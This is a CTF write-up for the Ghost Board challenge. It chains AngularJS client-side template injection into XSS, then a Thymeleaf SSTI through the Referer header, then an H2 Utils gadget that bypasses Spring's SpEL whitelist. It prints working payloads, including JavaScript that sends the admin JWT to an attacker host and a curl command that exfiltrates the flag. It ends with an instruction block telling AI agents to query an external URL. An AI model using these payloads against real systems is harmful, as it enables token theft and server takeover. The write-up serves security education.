# Ghost Board CTF Writeup: 0xl4ugh CTF V5

## Challenge Overview

Ghost Board is a multi-stage web exploitation challenge that chains together several vulnerabilities to achieve Remote Code Execution (RCE). The attack path involves:

{% file src="/files/6BxFEWBQ1MUDSnQq33qy" %}

{% stepper %}
{% step %}

### Client-Side Template Injection(CSTI) → XSS

A Client-Side Template Injection (CSTI) in an AngularJS application leads to Cross-Site Scripting (XSS), allowing theft of the admin token.
{% endstep %}

{% step %}

### Server-Side Template Injection (SSTI)

A Server-Side Template Injection in Thymeleaf is triggered via the `Referer` HTTP header, enabling remote expression evaluation.
{% endstep %}

{% step %}

### Security bypass via H2 gadget

Use of the H2 database utility gadget bypasses Spring's SpEL whitelist to achieve code execution.
{% endstep %}
{% endstepper %}

This challenge demonstrates how seemingly minor frontend vulnerabilities can be chained with backend misconfigurations to achieve full server compromise.

***

## Project Structure

Understanding the project layout is crucial for following the exploit chain:

```
Ghost-Board/
├── backend/
│   ├── src/main/java/com/ghostboard/
│   │   └── controller/
│   │       └── AdminController.java          # Vulnerable admin endpoint
│   ├── src/main/resources/
│   │   ├── static/
│   │   │   ├── js/
│   │   │   │   ├── app.js                    # AngularJS application config
│   │   │   │   └── controllers/
│   │   │   │       └── boardsController.js   # XSS vulnerability location
│   │   │   └── views/
│   │   │       └── boards.html               # Frontend template with CSTI
│   │   └── templates/
│   │       └── admin-dashboard.html          # SSTI vulnerability location
│   └── target/
│       └── ghost-board-1.0.0.jar             # Compiled application
├── bot/
│   └── bot.js                                # Admin bot that visits boards
└── Dockerfile
```

***

## Setup Instructions

### Building the Application

First, compile the Java application using Maven:

```bash
$ mvn clean package -DskipTests -Dmaven.javadoc.skip=true
## setup debugger
$ export JAVA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"
$ java -jar target/ghost-board-1.0.0.jar
```

### Debugging with IntelliJ IDEA

* Open the project in IntelliJ IDEA.
* Go to Run → Edit Configurations.
* Add a new Remote JVM Debug configuration.
* Set the port to `5005`.
* Set breakpoints in key files like `AdminController.java` or Spring's expression evaluation classes.

Start debugging to trace the exploit flow.

***

## Vulnerability Analysis

### Part 1: Frontend - Client-Side Template Injection (CSTI) to XSS

#### The Vulnerable Directive

In `backend/src/main/resources/static/js/controllers/boardsController.js`, there's a custom AngularJS directive that compiles HTML content:

```javascript
app.directive('compileHtml', ['$compile', function($compile) {
    return {
        restrict: 'A',
        link: function(scope, element, attrs) {
            scope.$watch(attrs.compileHtml, function(value) {
                element.html(value);
                $compile(element.contents())(scope);
            });
        }
    };
}]);
```

What's happening here?

* The directive takes a value and sets it as the element's HTML content using `element.html(value)`.
* It then compiles the content with `$compile(element.contents())(scope)`.
* Any AngularJS expressions (like `{{...}}`) in the content will be evaluated.

#### Where It's Used

In `backend/src/main/resources/static/views/boards.html`, the directive is applied to board titles:

```html
<h3 class="board-title" compile-html="board.title"></h3>
```

This means the `board.title` value is directly compiled as AngularJS template code.

#### The Weak Blacklist

The controller attempts to block malicious input with a simple regex:

```javascript
if (/\.constructor|<script|javascript:|onerror|onload/i.test(title)) {
    $scope.titleError = 'Title contains blocked patterns';
    return;
}
```

Why this fails:

* It blocks `.constructor` but not `['constructor']` (bracket notation).
* AngularJS template injection doesn't need `<script>` tags.
* The filter can be bypassed using string concatenation and bracket notation.

#### The XSS Payload

To bypass the blacklist and execute JavaScript, the AngularJS template injection payload:

```javascript
{{constructor['constructor']('a="https://attacker"')()}}
{{constructor['constructor']('b=".com/?c="')()}}
{{constructor['constructor']('t=localStorage["token"]')()}}
{{constructor['constructor']('fetch(a+b+c+t)')()}}
```

How this works:

1. `constructor['constructor']` accesses the `Function` constructor without using `.constructor`.
2. `Function('code')()` creates and immediately executes a new function.
3. The payload builds a URL string piece by piece to avoid detection.
4. Finally, it fetches the attacker's URL with the admin's JWT token as a parameter.

***

### Part 2: Backend - Server-Side Template Injection (SSTI)

#### The Vulnerable Controller

In `backend/src/main/java/com/ghostboard/controller/AdminController.java`:

```java
@Controller
@RequestMapping("/api/admin")
public class AdminController {

    @Autowired
    private UserRepository userRepository;

    @Autowired
    private BoardRepository boardRepository;

    @GetMapping("/dashboard")
    public String adminDashboard(@RequestHeader(value = "Referer", required = false) String referer, Model model) {
        long userCount = userRepository.count();
        long boardCount = boardRepository.count();
        
        model.addAttribute("userCount", userCount);
        model.addAttribute("boardCount", boardCount);
        model.addAttribute("Referer", referer);  // <-- User input goes directly to template!
        
        return "admin-dashboard";
    }
}
```

The problem:

* The `Referer` HTTP header is taken directly from the request.
* It's added to the model without any sanitization.
* This value is then used in a Thymeleaf template.

#### The Vulnerable Template

In `backend/src/main/resources/templates/admin-dashboard.html`:

```html
<div class="debug-info">
    <strong>Debug Mode:</strong> Enabled<br>
    <strong>Login Redirect Handler:</strong> <span th:text="@{'/login?redirectAfterLogin=__${Referer}__'}"></span>
</div>
```

Understanding Thymeleaf's preprocessing:

1. `${Referer}` is evaluated — this substitutes our controlled input.
2. Then `@{...}` (URL expression) processes the result.
3. The `__...__` syntax tells Thymeleaf to preprocess the inner expression.

This means if we control `Referer`, we can inject arbitrary Thymeleaf/SpEL expressions.

***

## Exploit Construction

{% stepper %}
{% step %}

### Step: Steal Admin Token via XSS

Attack flow:

* Attacker creates a board with a malicious title containing the CSTI payload.
* Attacker triggers the bot to visit the boards page.
* Bot (logged in as admin) renders the malicious board title.
* AngularJS compiles the title, executing the injected JavaScript.
* JavaScript steals the admin's JWT token from `localStorage` and sends it to the attacker.
  {% endstep %}

{% step %}

### Step: Access Admin Dashboard with SSTI

Once the admin token is obtained, access `/api/admin/dashboard` with a crafted `Referer` header.

Testing SSTI:

```http
GET /api/admin/dashboard HTTP/1.1
Host: target.com
Authorization: Bearer <admin_token>
Referer: x'} + ${8*8} + @{'
```

If the response contains `64`, SSTI is confirmed.

Understanding the payload structure:

```
@{'/login?redirectAfterLogin=__${Referer}__'}
```

Injecting `x'} + ${8*8} + @{'` becomes:

```
@{'/login?redirectAfterLogin=__x'} + ${8*8} + @{'__'}
```

This breaks out of the URL expression and injects a SpEL expression.
{% endstep %}
{% endstepper %}

***

## Bypassing Security (Whitelist / Blacklist)

### The Problem: Spring's Type Whitelist

A naive RCE attempt:

```http
Referer: x'} + ${T(java.lang.Runtime).getRuntime().exec("whoami")} + @{'
```

Produces an error:

```
Exception evaluating SpringEL expression: "T(java.lang.Runtime).getRuntime().exec("whoami")"
```

Why this fails:

* Spring Expression Language (SpEL) has a type whitelist that blocks direct access to dangerous classes like `java.lang.Runtime`.

### Tracing the Whitelist

Key insight: The SSTI trigger occurs during view rendering (Thymeleaf processing), not in controller execution. The whitelist is checked when SpEL resolves a type reference like `T(java.lang.Runtime)` — specifically in `ExpressionState.findType()` which calls `ExpressionUtils.isTypeAllowed(typeName)`; blocked types raise an EvaluationException.

Important points:

* The whitelist blocks known dangerous classes.
* Not all classes are blocked.
* Method calls on already-resolved objects bypass the type resolution whitelist.

### The Solution: H2 Database Utils Gadget

The H2 database library commonly included in Spring Boot applications contains utility classes not on the blocklist. The key class here is `org.h2.util.Utils`, which provides:

* `callStaticMethod()` — calls static methods on any class
* `callMethod()` — calls instance methods on any object

Since `org.h2.util.Utils` isn't blocked, it can be used as a proxy to call blocked methods (like `Runtime.getRuntime()` and `exec()`), enabling RCE.

***

## Final Payload

The complete RCE payload:

```http
GET /api/admin/dashboard HTTP/1.1
Host: target.com
Authorization: Bearer <admin_token>
Referer: x'} + ${"".class.forName("org.h2.util.Utils").callMethod("".class.forName("org.h2.util.Utils").callStaticMethod("java.lang.Runtime.getRuntime"), "exec", "<command>")} + @{'
```

Breaking down the payload:

1. `x'} +` — breaks out of the URL expression context.
2. `"".class.forName("org.h2.util.Utils")` — loads the H2 Utils class.
3. `.callStaticMethod("java.lang.Runtime.getRuntime")` — invokes `Runtime.getRuntime()` via H2 Utils.
4. `.callMethod(..., "exec", "<command>")` — calls `exec()` on the Runtime instance.
5. `+ @{'` — closes the expression properly.

Example: Reading the flag

```http
Referer: x'} + ${"".class.forName("org.h2.util.Utils").callMethod("".class.forName("org.h2.util.Utils").callStaticMethod("java.lang.Runtime.getRuntime"), "exec", "cat /flag.txt")} + @{'
```

Example exfiltration via curl:

```http
Referer: x'} + ${"".class.forName("org.h2.util.Utils").callMethod("".class.forName("org.h2.util.Utils").callStaticMethod("java.lang.Runtime.getRuntime"), "exec", "curl https://attacker.com/?flag=$(cat /flag.txt | base64)")} + @{'
```

***

## Complete Attack Chain Summary

```
┌─────────────────────────────────────────────────────────────────┐
│                        ATTACK FLOW                               │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  1. Create malicious board with CSTI payload                    │
│     └─> Title: {{constructor['constructor']('...')()}}          │
│                                                                  │
│  2. Trigger bot to visit /#!/boards                             │
│     └─> Bot logs in as admin and views boards                   │
│                                                                  │
│  3. XSS executes, steals admin JWT token                        │
│     └─> Token sent to attacker's server                         │
│                                                                  │
│  4. Access /api/admin/dashboard with stolen token               │
│     └─> Include SSTI payload in Referer header                  │
│                                                                  │
│  5. Thymeleaf processes template with malicious Referer         │
│     └─> SpEL expression is evaluated                            │
│                                                                  │
│  6. H2 Utils gadget bypasses whitelist                          │
│     └─> Runtime.exec() is called via reflection                 │
│                                                                  │
│  7. RCE achieved! 🎉                                            │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘
```

***

## Key Takeaways

1. Never trust user input — even HTTP headers like `Referer` can be attacker-controlled.
2. Blacklists are often bypassable — the frontend filter blocked `.constructor` but not bracket notation.
3. Template preprocessing is dangerous — Thymeleaf's `__${...}__` syntax can lead to injection.
4. Defense in depth matters — Spring's whitelist was good, but the H2 gadget provided a bypass.
5. Audit your dependencies — libraries like H2 can introduce unexpected attack vectors.

***

## References

* [AngularJS Client-Side Template Injection](https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs)
* [Thymeleaf SSTI](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
* [Spring Expression Language (SpEL) Injection](https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions)
* [H2 Database Security Considerations](http://www.h2database.com/html/security.html)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xsapra.gitbook.io/web/writeups/ghost-board-ctf-writeup-0xl4ugh-ctf-v5.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
